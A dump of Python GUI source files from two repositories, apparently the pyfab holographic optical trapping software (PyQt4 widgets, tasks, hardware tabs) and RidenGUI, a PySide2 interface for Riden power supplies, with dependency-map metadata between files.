{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,117
dalerxli/pyfab
refs/heads/master
/common/QPropertySheet.py
from PyQt4.QtGui import QFrame, QGridLayout, QLabel, QLineEdit, QCheckBox from PyQt4.QtGui import QIntValidator, QDoubleValidator from PyQt4.QtCore import Qt, QString, pyqtSignal, pyqtSlot import numpy as np class QFabProperty(QLineEdit): valueChanged = pyqtSignal() def __init__(self, name, value, min, max): super(QFabProperty, self).__init__() self.setAlignment(Qt.AlignRight) self.type = type(value) if self.type is int: v = QIntValidator(int(min), int(max)) elif self.type is float: v = QDoubleValidator(float(min), float(max), 4) v.setNotation(QDoubleValidator.StandardNotation) else: v = None self.setValidator(v) self.min = self.type(min) self.max = self.type(max) self.value = value self.returnPressed.connect(self.updateValue) @pyqtSlot() def updateValue(self): self._value = self.type(str(self.text())) self.valueChanged.emit() @property def value(self): return self._value @value.setter def value(self, _value): value = np.clip(self.type(_value), self.min, self.max) self.setText(QString('%.4f' % value)) self.updateValue() class QFabBoolean(QCheckBox): valueChanged = pyqtSignal() def __init__(self, name, value): super(QFabBoolean, self).__init__() self.value = bool(value) self.stateChanged.connect(self.updateValue) def updateValue(self, state): self._value = (state == Qt.Checked) self.valueChanged.emit() @property def value(self): return self._value @value.setter def value(self, value): if bool(value): self.setCheckState(Qt.Checked) else: self.setCheckState(Qt.Unchecked) self.updateValue(self.checkState()) class QPropertySheet(QFrame): def __init__(self, title=None, header=True, **kwargs): super(QPropertySheet, self).__init__(**kwargs) self.setFrameShape(QFrame.Box) self.properties = dict() self.initUI(title, header) def initUI(self, title, header): self.layout = QGridLayout(self) self.layout.setMargin(3) self.layout.setHorizontalSpacing(10) self.layout.setVerticalSpacing(3) self.setLayout(self.layout) self.row = 1 if title is not None: self.layout.addWidget(QLabel(title), self.row, 1, 1, 4) self.row += 1 if header is True: self.layout.addWidget(QLabel('property'), self.row, 1) label = QLabel('value') label.setAlignment(Qt.AlignCenter) self.layout.addWidget(label, self.row, 2) self.layout.addWidget(QLabel('min'), self.row, 3) self.layout.addWidget(QLabel('max'), self.row, 4) self.row += 1 def registerProperty(self, name, value, min=None, max=None): wname = QLabel(QString(name)) wname.setAlignment(Qt.AlignRight) if isinstance(value, bool): wvalue = QFabBoolean(name, value) else: wvalue = QFabProperty(name, value, min, max) self.layout.addWidget(wname, self.row, 1) self.layout.addWidget(wvalue, self.row, 2) if min is not None: wmin = QLabel(QString(str(min))) wmax = QLabel(QString(str(max))) self.layout.addWidget(wmin, self.row, 3) self.layout.addWidget(wmax, self.row, 4) self.row += 1 self.properties[name] = wvalue return wvalue @property def enabled(self): result = True for propname in self.properties: prop = self.properties[propname] result = result and prop.isEnabled() return(result) @enabled.setter def enabled(self, value): state = bool(value) for propname in self.properties: prop = self.properties[propname] prop.setEnabled(state) def main(): import sys from PyQt4.QtGui import QApplication app = QApplication(sys.argv) sheet = QPropertySheet() wxc = sheet.registerProperty('xc', 10, -100, 100) wyc = sheet.registerProperty('yc', 200, -100, 100) walpha = sheet.registerProperty('alpha', 5., 0., 10.) wbool = sheet.registerProperty('bool', True) sheet.show() print(wxc.value, wyc.value, walpha.value, wbool.value) sys.exit(app.exec_()) if __name__ == '__main__': main()
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,118
dalerxli/pyfab
refs/heads/master
/pyfablib/traps/QTrapWidget.py
from PyQt4.QtGui import QFrame, QWidget, QVBoxLayout, QHBoxLayout, QScrollArea from PyQt4.QtGui import QLineEdit, QDoubleValidator from PyQt4.QtCore import Qt, pyqtSignal, QString class QTrapProperty(QLineEdit): valueChanged = pyqtSignal(float) def __init__(self, value, decimals=1): super(QTrapProperty, self).__init__() self.setAlignment(Qt.AlignRight) self.setMaximumWidth(50) self.setMaxLength(7) self.fmt = '%' + '.%df' % decimals v = QDoubleValidator(decimals=decimals) v.setNotation(QDoubleValidator.StandardNotation) self.setValidator(v) self.value = value self.returnPressed.connect(self.updateValue) def updateValue(self): self._value = float(str(self.text())) self.valueChanged.emit(self._value) @property def value(self): return self._value @value.setter def value(self, value): self.setText(QString(self.fmt % value)) self.updateValue() class QTrapLine(QWidget): def __init__(self, trap): super(QTrapLine, self).__init__() layout = QHBoxLayout() layout.setSpacing(1) layout.setMargin(0) self.wx = QTrapProperty(trap.r.x()) self.wy = QTrapProperty(trap.r.y()) self.wz = QTrapProperty(trap.r.z()) self.wa = QTrapProperty(trap.a, decimals=2) self.wp = QTrapProperty(trap.phi, decimals=2) layout.addWidget(self.wx) layout.addWidget(self.wy) layout.addWidget(self.wz) layout.addWidget(self.wa) layout.addWidget(self.wp) trap.valueChanged.connect(self.updateValues) self.wx.valueChanged.connect(trap.setX) self.wy.valueChanged.connect(trap.setY) self.wz.valueChanged.connect(trap.setZ) self.wa.valueChanged.connect(trap.setA) self.wp.valueChanged.connect(trap.setPhi) self.setLayout(layout) def updateValues(self, trap): self.wx.value = trap.r.x() self.wy.value = trap.r.y() self.wz.value = trap.r.z() self.wa.value = trap.a self.wp.value = trap.phi class QTrapWidget(QFrame): def __init__(self, pattern=None): super(QTrapWidget, self).__init__() self.properties = dict() self.init_ui() if pattern is not None: pattern.trapAdded.connect(self.registerTrap) def init_ui(self): self.setFrameShape(QFrame.Box) inner = QWidget() self.layout = QVBoxLayout() self.layout.setSpacing(1) self.layout.setMargin(1) self.layout.setAlignment(Qt.AlignTop) inner.setLayout(self.layout) scroll = QScrollArea() scroll.setVerticalScrollBarPolicy(Qt.ScrollBarAlwaysOn) scroll.setHorizontalScrollBarPolicy(Qt.ScrollBarAlwaysOff) scroll.setWidgetResizable(True) scroll.setWidget(inner) layout = QVBoxLayout(self) layout.addWidget(scroll) self.setLayout(layout) def registerTrap(self, trap): trapline = QTrapLine(trap) self.properties[trap] = trapline self.layout.addWidget(trapline) trap.destroyed.connect(lambda: self.unregisterTrap(trap)) def unregisterTrap(self, trap): self.properties[trap].deleteLater() del self.properties[trap] def count(self): return self.layout.count() if __name__ == '__main__': import sys from QTrap import QTrap from PyQt4 import QtGui app = QtGui.QApplication(sys.argv) wtrap = QTrapWidget() trapa = QTrap() trapb = QTrap() trapc = QTrap() wtrap.registerTrap(trapa) wtrap.registerTrap(trapb) wtrap.show() # change trap properties trapa.r = (100, 100, 10) trapc.r = (50, 50, 5) # remove trap after display trapb.deleteLater() wtrap.registerTrap(trapc) sys.exit(app.exec_())
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,119
dalerxli/pyfab
refs/heads/master
/tasks/task.py
class task(object): def __init__(self, parent=None, delay=0, nframes=0): self.setParent(parent) self.done = False self.delay = delay self.nframes = nframes def isDone(self): return self.done def setParent(self, parent): self.parent = parent def initialize(self): pass def doprocess(self, frame): pass def dotask(self): pass def process(self, frame): if self.delay > 0: self.delay -= 1 elif self.nframes > 0: self.doprocess(frame) self.nframes -= 1 else: self.dotask() print('TASK: ' + self.__class__.__name__ + ' done') self.done = True
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,120
dalerxli/pyfab
refs/heads/master
/jansenlib/video/QFabVideo.py
from common.QPropertySheet import QPropertySheet class QFabVideo(QPropertySheet): def __init__(self, camera=None): super(QFabVideo, self).__init__(title='Video Camera', header=False) self.camera = camera self.wmirrored = self.registerProperty('mirrored', self.mirrored) self.wflipped = self.registerProperty('flipped', self.flipped) self.wtransposed = self.registerProperty('transposed', self.transposed) self.wgray = self.registerProperty('gray', self.gray) self.wmirrored.valueChanged.connect(self.updateMirrored) self.wflipped.valueChanged.connect(self.updateFlipped) self.wtransposed.valueChanged.connect(self.updateTransposed) self.wgray.valueChanged.connect(self.updateGray) def updateMirrored(self): self.camera.mirrored = self.wmirrored.value @property def mirrored(self): return self.camera.mirrored @mirrored.setter def mirrored(self, state): value = bool(state) self.wmirrored.value = value self.updateMirrored() def updateFlipped(self): self.camera.flipped = self.wflipped.value @property def flipped(self): return self.camera.flipped @flipped.setter def flipped(self, state): value = bool(state) self.wflipped.value = value self.updateFlipped() def updateTransposed(self): self.camera.transposed = self.wtransposed.value @property def transposed(self): return self.camera.transposed @transposed.setter def transposed(self, state): value = bool(state) self.wtransposed.value = value self.updateTransposed() def updateGray(self): self.camera.gray = self.wgray.value @property def gray(self): return self.camera.gray @gray.setter def gray(self, state): value = bool(state) self.wgray.value = value self.updateGray()
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,121
dalerxli/pyfab
refs/heads/master
/pyfablib/QFabWidget.py
#!/usr/bin/env python """QFabWidget.py: GUI for holographic optical trapping.""" from pyqtgraph.Qt import QtGui from jansenlib.QJansenWidget import QJansenWidget, tabLayout import traps from proscan.QProscan import QProscan from IPG.QIPGLaser import QIPGLaser from QSLM import QSLM from CGH import CGH, QCGH import logging import sys class hardwareTab(QtGui.QWidget): def __init__(self, parent): super(hardwareTab, self).__init__(parent=parent) self.title = 'Hardware' self.index = -1 layout = tabLayout() try: self.wstage = QProscan() layout.addWidget(self.wstage) except ValueError as ex: self.wstage = None logging.warning('Could not install stage: %s', ex) try: self.wlaser = QIPGLaser() layout.addWidget(self.wlaser) except ValueError as ex: self.wlaser = None logging.warning('Could not install laser: %s', ex) self.setLayout(layout) self.parent().tabs.currentChanged.connect(self.expose) def expose(self, index): if index == self.index: if self.wstage is not None: self.wstage.start() if self.wlaser is not None: self.wlaser.start() else: if self.wstage is not None: self.wstage.stop() if self.wlaser is not None: self.wstage.stop() class QFabWidget(QJansenWidget): def __init__(self, **kwargs): super(QFabWidget, self).__init__(**kwargs) self.init_configuration() def init_hardware(self, size): super(QFabWidget, self).init_hardware(size) # spatial light modulator self.slm = QSLM() # computation pipeline for the trapping pattern # self.computethread = QtCore.QThread() # self.cgh.moveToThread(self.computethread) # self.computethread.start() self.cgh = CGH(slm=self.slm) self.wcgh = QCGH(self.cgh, self.screen) # trapping pattern is an interactive overlay # that translates user actions into hologram computations self.pattern = traps.QTrappingPattern(parent=self.screen, pipeline=self.cgh) def init_ui(self): super(QFabWidget, self).init_ui() tab = hardwareTab(self) index = self.tabs.addTab(tab, 'Hardware') tab.index = index self.wstage = tab.wstage self.tabs.addTab(self.cghTab(), 'CGH') self.tabs.addTab(self.trapTab(), 'Traps') def cghTab(self): wcgh = QtGui.QWidget() layout = tabLayout() layout.addWidget(self.wcgh) wcgh.setLayout(layout) return wcgh def trapTab(self): wtraps = QtGui.QWidget() layout = tabLayout() layout.addWidget(traps.QTrapWidget(self.pattern)) wtraps.setLayout(layout) return wtraps def init_configuration(self): sz = self.screen.video.device.size self.wcgh.xc = sz.width() / 2 self.wcgh.yc = sz.height() / 2 self.wcgh.zc = 0. sz = self.slm.size() self.wcgh.xs = sz.width() / 2 self.wcgh.ys = sz.height() / 2 def close(self): self.pattern.clearTraps() self.slm.close() def closeEvent(self, event): self.close() if __name__ == '__main__': app = QtGui.QApplication(sys.argv) QFabWidget() sys.exit(app.exec_())
{"/pyfablib/proscan/QProscan.py": ["/pyfablib/proscan/pyproscan.py"], "/jansen.py": ["/jansenlib/QJansenWidget.py"], "/pyfablib/proscan/pyproscan.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/ipglaser.py": ["/common/SerialDevice.py"], "/pyfablib/IPG/QIPGLaser.py": ["/pyfablib/IPG/ipglaser.py"], "/pyfablib/CGH/QCGH.py": ["/common/QPropertySheet.py"], "/jansenlib/QJansenWidget.py": ["/tasks/taskmanager.py"], "/pyfab.py": ["/pyfablib/QFabWidget.py", "/common/fabconfig.py"], "/jansenlib/DVR/QFabDVR.py": ["/jansenlib/DVR/fabdvr.py", "/common/clickable.py"], "/jansenlib/video/QFabVideo.py": ["/common/QPropertySheet.py"], "/pyfablib/QFabWidget.py": ["/jansenlib/QJansenWidget.py"]}
70,122
zalexua/RidenGUI
refs/heads/master
/setup.py
from setuptools import setup, find_packages setup( name="ridengui", version="0.1.2", description="Riden Qt GUI using PySide2", url="https://github.com/ShayBox/RidenGUI.git", license="MIT", author="Shayne Hartford", packages=find_packages(), install_requires=["riden>=0.1.2"], entry_points={ "console_scripts": ["ridengui=ridengui.main:main"], }, data_files=[ ('share/applications', ['data/riden.desktop']), ('share/icons/hicolor/32x32/apps', ['data/riden.png']), ], )
{"/ridengui/serial.py": ["/ridengui/serial_ui.py"], "/ridengui/settings.py": ["/ridengui/settings_ui.py"], "/ridengui/main.py": ["/ridengui/settings.py", "/ridengui/serial.py", "/ridengui/main_ui.py"]}
70,123
zalexua/RidenGUI
refs/heads/master
/ridengui/serial.py
from PySide2.QtWidgets import QDialog, QMessageBox from ridengui.serial_ui import Ui_Serial from PySide2.QtCore import QSettings from threading import Lock from riden import Riden class SerialDialog(QDialog): def __init__(self, r: Riden = None, l: Lock = None): super().__init__() # Setup UI self.ui = Ui_Serial() self.ui.setupUi(self) # Load settings settings = QSettings("RidenGUI", "settings") port = str(settings.value("serial/port", "/dev/ttyUSB0")) baudrate = int(settings.value("serial/baudrate", 115200)) address = int(settings.value("serial/address", 1)) self.ui.Serial_Line.setText(port) self.ui.Baudrate_Box.setCurrentText(str(baudrate)) self.ui.Address_Box.setValue(address) # Setup OK button self.accepted.connect(lambda: save()) def save(): settings.setValue("serial/port", str(self.ui.Serial_Line.text())) settings.setValue("serial/baudrate", int(self.ui.Baudrate_Box.currentText())) settings.setValue("serial/address", int(self.ui.Address_Box.value())) msg = QMessageBox() msg.setWindowTitle("Alert") msg.setText("Saved, restart to apply") msg.exec_() def OpenSerialDialog(r: Riden = None, l: Lock = None): serial = SerialDialog(r, l) serial.setModal(True) serial.show() serial.exec_()
{"/ridengui/serial.py": ["/ridengui/serial_ui.py"], "/ridengui/settings.py": ["/ridengui/settings_ui.py"], "/ridengui/main.py": ["/ridengui/settings.py", "/ridengui/serial.py", "/ridengui/main_ui.py"]}
70,124
zalexua/RidenGUI
refs/heads/master
/ridengui/settings.py
from ridengui.settings_ui import Ui_Settings from PySide2.QtWidgets import QDialog from datetime import datetime from threading import Lock from riden import Riden class SettingsDialog(QDialog): def __init__(self, r: Riden, l: Lock): super().__init__() # Setup UI self.ui = Ui_Settings() self.ui.setupUi(self) with l: self.ui.Language_ComboBox.setCurrentIndex(r.get_language()) self.ui.Backlight_Slider.setSliderPosition(r.get_backlight()) self.ui.Confirm_Box.setChecked(r.is_confirm()) self.ui.Restore_Box.setChecked(r.is_restore()) self.ui.Power_Box.setChecked(r.is_boot_power()) self.ui.Buzzer_Box.setChecked(r.is_buzzer()) self.ui.Logo_Box.setChecked(r.is_boot_logo()) self.ui.Time_Button.clicked.connect(lambda: r.set_date_time(datetime.now())) # Setup OK button self.accepted.connect(lambda: save()) def save(): r.set_language(self.ui.Language_ComboBox.currentIndex()) r.set_backlight(self.ui.Backlight_Slider.value()) r.set_confirm(self.ui.Confirm_Box.isChecked()) r.set_restore(self.ui.Restore_Box.isChecked()) r.set_boot_power(self.ui.Power_Box.isChecked()) r.set_buzzer(self.ui.Buzzer_Box.isChecked()) r.set_boot_logo(self.ui.Logo_Box.isChecked()) def OpenSettingsDialog(r: Riden, l: Lock): settings = SettingsDialog(r, l) settings.setModal(True) settings.show() settings.exec_()
{"/ridengui/serial.py": ["/ridengui/serial_ui.py"], "/ridengui/settings.py": ["/ridengui/settings_ui.py"], "/ridengui/main.py": ["/ridengui/settings.py", "/ridengui/serial.py", "/ridengui/main_ui.py"]}
70,125
zalexua/RidenGUI
refs/heads/master
/ridengui/serial_ui.py
# -*- coding: utf-8 -*- ################################################################################ ## Form generated from reading UI file 'serial.ui' ## ## Created by: Qt User Interface Compiler version 5.15.2 ## ## WARNING! All changes made in this file will be lost when recompiling UI file! ################################################################################ from PySide2.QtCore import * from PySide2.QtGui import * from PySide2.QtWidgets import * class Ui_Serial(object): def setupUi(self, Serial): if not Serial.objectName(): Serial.setObjectName(u"Serial") Serial.resize(265, 149) icon = QIcon() iconThemeName = u"riden" if QIcon.hasThemeIcon(iconThemeName): icon = QIcon.fromTheme(iconThemeName) else: icon.addFile(u".", QSize(), QIcon.Normal, QIcon.Off) Serial.setWindowIcon(icon) self.gridLayout = QGridLayout(Serial) self.gridLayout.setObjectName(u"gridLayout") self.Serial_Label = QLabel(Serial) self.Serial_Label.setObjectName(u"Serial_Label") font = QFont() font.setPointSize(10) font.setBold(False) font.setWeight(50) self.Serial_Label.setFont(font) self.Serial_Label.setAlignment(Qt.AlignLeading|Qt.AlignLeft|Qt.AlignVCenter) self.gridLayout.addWidget(self.Serial_Label, 2, 0, 1, 1) self.Baudrate_Label = QLabel(Serial) self.Baudrate_Label.setObjectName(u"Baudrate_Label") self.Baudrate_Label.setFont(font) self.Baudrate_Label.setAlignment(Qt.AlignLeading|Qt.AlignLeft|Qt.AlignVCenter) self.gridLayout.addWidget(self.Baudrate_Label, 4, 0, 1, 1) self.Serial_Line = QLineEdit(Serial) self.Serial_Line.setObjectName(u"Serial_Line") self.Serial_Line.setAlignment(Qt.AlignCenter) self.gridLayout.addWidget(self.Serial_Line, 2, 1, 1, 2) self.Address_Box = QSpinBox(Serial) self.Address_Box.setObjectName(u"Address_Box") self.Address_Box.setMinimum(1) self.Address_Box.setMaximum(255) self.gridLayout.addWidget(self.Address_Box, 5, 1, 1, 2) self.Baudrate_Box = QComboBox(Serial) self.Baudrate_Box.addItem("") self.Baudrate_Box.addItem("") self.Baudrate_Box.addItem("") self.Baudrate_Box.addItem("") self.Baudrate_Box.addItem("") self.Baudrate_Box.setObjectName(u"Baudrate_Box") self.gridLayout.addWidget(self.Baudrate_Box, 4, 1, 1, 2) self.Address_Label = QLabel(Serial) self.Address_Label.setObjectName(u"Address_Label") self.Address_Label.setFont(font) self.Address_Label.setAlignment(Qt.AlignLeading|Qt.AlignLeft|Qt.AlignVCenter) self.gridLayout.addWidget(self.Address_Label, 5, 0, 1, 1) self.Buttons = QDialogButtonBox(Serial) self.Buttons.setObjectName(u"Buttons") self.Buttons.setOrientation(Qt.Horizontal) self.Buttons.setStandardButtons(QDialogButtonBox.Cancel|QDialogButtonBox.Ok) self.gridLayout.addWidget(self.Buttons, 9, 2, 1, 1) self.retranslateUi(Serial) self.Buttons.accepted.connect(Serial.accept) self.Buttons.rejected.connect(Serial.reject) QMetaObject.connectSlotsByName(Serial) # setupUi def retranslateUi(self, Serial): Serial.setWindowTitle(QCoreApplication.translate("Serial", u"Serial", None)) self.Serial_Label.setText(QCoreApplication.translate("Serial", u"Serial Port", None)) self.Baudrate_Label.setText(QCoreApplication.translate("Serial", u"Baudrate", None)) self.Serial_Line.setText(QCoreApplication.translate("Serial", u"/dev/ttyUSB0", None)) self.Baudrate_Box.setItemText(0, QCoreApplication.translate("Serial", u"115200", None)) self.Baudrate_Box.setItemText(1, QCoreApplication.translate("Serial", u"57600", None)) self.Baudrate_Box.setItemText(2, QCoreApplication.translate("Serial", u"38400", None)) self.Baudrate_Box.setItemText(3, QCoreApplication.translate("Serial", u"19200", None)) self.Baudrate_Box.setItemText(4, QCoreApplication.translate("Serial", u"9600", None)) self.Address_Label.setText(QCoreApplication.translate("Serial", u"Address", None)) # retranslateUi
{"/ridengui/serial.py": ["/ridengui/serial_ui.py"], "/ridengui/settings.py": ["/ridengui/settings_ui.py"], "/ridengui/main.py": ["/ridengui/settings.py", "/ridengui/serial.py", "/ridengui/main_ui.py"]}
70,126
zalexua/RidenGUI
refs/heads/master
/ridengui/main_ui.py
# -*- coding: utf-8 -*- ################################################################################ ## Form generated from reading UI file 'main.ui' ## ## Created by: Qt User Interface Compiler version 5.15.2 ## ## WARNING! All changes made in this file will be lost when recompiling UI file! ################################################################################ from PySide2.QtCore import * from PySide2.QtGui import * from PySide2.QtWidgets import * class Ui_MainWindow(object): def setupUi(self, MainWindow): if not MainWindow.objectName(): MainWindow.setObjectName(u"MainWindow") MainWindow.resize(765, 523) icon = QIcon() iconThemeName = u"riden" if QIcon.hasThemeIcon(iconThemeName): icon = QIcon.fromTheme(iconThemeName) else: icon.addFile(u"../../../../../../opt/Batt-tools/RidenGUI/ridengui", QSize(), QIcon.Normal, QIcon.Off) MainWindow.setWindowIcon(icon) self.Action_Quit = QAction(MainWindow) self.Action_Quit.setObjectName(u"Action_Quit") self.Action_Settings = QAction(MainWindow) self.Action_Settings.setObjectName(u"Action_Settings") self.Action_About = QAction(MainWindow) self.Action_About.setObjectName(u"Action_About") self.Action_Serial = QAction(MainWindow) self.Action_Serial.setObjectName(u"Action_Serial") self.Action_Set_VI_ranges = QAction(MainWindow) self.Action_Set_VI_ranges.setObjectName(u"Action_Set_VI_ranges") self.centralwidget = QWidget(MainWindow) self.centralwidget.setObjectName(u"centralwidget") self.gridLayout_3 = QGridLayout(self.centralwidget) self.gridLayout_3.setObjectName(u"gridLayout_3") self.line_3 = QFrame(self.centralwidget) self.line_3.setObjectName(u"line_3") self.line_3.setFrameShape(QFrame.VLine) self.line_3.setFrameShadow(QFrame.Sunken) self.gridLayout_3.addWidget(self.line_3, 0, 1, 1, 1) self.line_6 = QFrame(self.centralwidget) self.line_6.setObjectName(u"line_6") self.line_6.setMinimumSize(QSize(0, 12)) self.line_6.setFrameShape(QFrame.HLine) self.line_6.setFrameShadow(QFrame.Sunken) self.gridLayout_3.addWidget(self.line_6, 3, 0, 1, 3) self.line = QFrame(self.centralwidget) self.line.setObjectName(u"line") self.line.setMinimumSize(QSize(0, 12)) self.line.setFrameShape(QFrame.HLine) self.line.setFrameShadow(QFrame.Sunken) self.gridLayout_3.addWidget(self.line, 1, 0, 1, 3) self.line_5 = QFrame(self.centralwidget) self.line_5.setObjectName(u"line_5") self.line_5.setFrameShape(QFrame.VLine) self.line_5.setFrameShadow(QFrame.Sunken) self.gridLayout_3.addWidget(self.line_5, 4, 1, 1, 1) self.verticalLayout_3 = QVBoxLayout() self.verticalLayout_3.setSpacing(3) self.verticalLayout_3.setObjectName(u"verticalLayout_3") self.verticalLayout_3.setContentsMargins(3, 3, 3, 3) self.Main_Display = QGridLayout() self.Main_Display.setSpacing(3) self.Main_Display.setObjectName(u"Main_Display") self.Main_Display.setContentsMargins(3, 3, 3, 3) self.OutputC = QLabel(self.centralwidget) self.OutputC.setObjectName(u"OutputC") font = QFont() font.setFamily(u"DejaVu Sans Mono") font.setPointSize(36) self.OutputC.setFont(font) self.OutputC.setStyleSheet(u"color: rgb(0, 170, 255);") self.OutputC.setScaledContents(False) self.OutputC.setAlignment(Qt.AlignBottom|Qt.AlignRight|Qt.AlignTrailing) self.Main_Display.addWidget(self.OutputC, 2, 0, 1, 1) self.OutputV = QLabel(self.centralwidget) self.OutputV.setObjectName(u"OutputV") sizePolicy = QSizePolicy(QSizePolicy.Preferred, QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(1) sizePolicy.setVerticalStretch(1) sizePolicy.setHeightForWidth(self.OutputV.sizePolicy().hasHeightForWidth()) self.OutputV.setSizePolicy(sizePolicy) self.OutputV.setFont(font) self.OutputV.setAutoFillBackground(False) self.OutputV.setStyleSheet(u"color: rgb(0, 170, 0);") self.OutputV.setScaledContents(False) self.OutputV.setAlignment(Qt.AlignBottom|Qt.AlignRight|Qt.AlignTrailing) self.Main_Display.addWidget(self.OutputV, 0, 0, 1, 1) self.OutputV_Label = QLabel(self.centralwidget) self.OutputV_Label.setObjectName(u"OutputV_Label") font1 = QFont() font1.setBold(True) font1.setWeight(75) self.OutputV_Label.setFont(font1) self.OutputV_Label.setStyleSheet(u"color: rgb(0, 170, 0);") self.OutputV_Label.setAlignment(Qt.AlignBottom|Qt.AlignLeading|Qt.AlignLeft) self.OutputV_Label.setMargin(5) self.Main_Display.addWidget(self.OutputV_Label, 0, 1, 1, 1) self.OutputC_Label = QLabel(self.centralwidget) self.OutputC_Label.setObjectName(u"OutputC_Label") self.OutputC_Label.setFont(font1) self.OutputC_Label.setStyleSheet(u"color: rgb(0, 170, 255);") self.OutputC_Label.setAlignment(Qt.AlignBottom|Qt.AlignLeading|Qt.AlignLeft) self.OutputC_Label.setMargin(5) self.Main_Display.addWidget(self.OutputC_Label, 2, 1, 1, 1) self.verticalSpacer_2 = QSpacerItem(20, 40, QSizePolicy.Minimum, QSizePolicy.Expanding) self.Main_Display.addItem(self.verticalSpacer_2, 3, 0, 1, 2) self.verticalSpacer = QSpacerItem(20, 40, QSizePolicy.Minimum, QSizePolicy.Expanding) self.Main_Display.addItem(self.verticalSpacer, 1, 0, 1, 2) self.OutputP = QLabel(self.centralwidget) self.OutputP.setObjectName(u"OutputP") self.OutputP.setFont(font) self.OutputP.setStyleSheet(u"color: rgb(255, 0, 255);") self.OutputP.setScaledContents(False) self.OutputP.setAlignment(Qt.AlignBottom|Qt.AlignRight|Qt.AlignTrailing) self.Main_Display.addWidget(self.OutputP, 4, 0, 2, 1) self.OutputP_Label = QLabel(self.centralwidget) self.OutputP_Label.setObjectName(u"OutputP_Label") self.OutputP_Label.setFont(font1) self.OutputP_Label.setStyleSheet(u"color: rgb(255, 0, 255);") self.OutputP_Label.setAlignment(Qt.AlignBottom|Qt.AlignLeading|Qt.AlignLeft) self.OutputP_Label.setMargin(5) self.OutputP_Label.setIndent(-1) self.Main_Display.addWidget(self.OutputP_Label, 4, 1, 2, 1) self.verticalLayout_3.addLayout(self.Main_Display) self.OutputS_Button = QPushButton(self.centralwidget) self.OutputS_Button.setObjectName(u"OutputS_Button") sizePolicy1 = QSizePolicy(QSizePolicy.MinimumExpanding, QSizePolicy.Expanding) sizePolicy1.setHorizontalStretch(0) sizePolicy1.setVerticalStretch(0) sizePolicy1.setHeightForWidth(self.OutputS_Button.sizePolicy().hasHeightForWidth()) self.OutputS_Button.setSizePolicy(sizePolicy1) self.OutputS_Button.setMinimumSize(QSize(0, 100)) font2 = QFont() font2.setPointSize(12) self.OutputS_Button.setFont(font2) self.OutputS_Button.setCheckable(True) self.verticalLayout_3.addWidget(self.OutputS_Button) self.gridLayout_3.addLayout(self.verticalLayout_3, 0, 4, 7, 1) self.gridLayout_2 = QGridLayout() 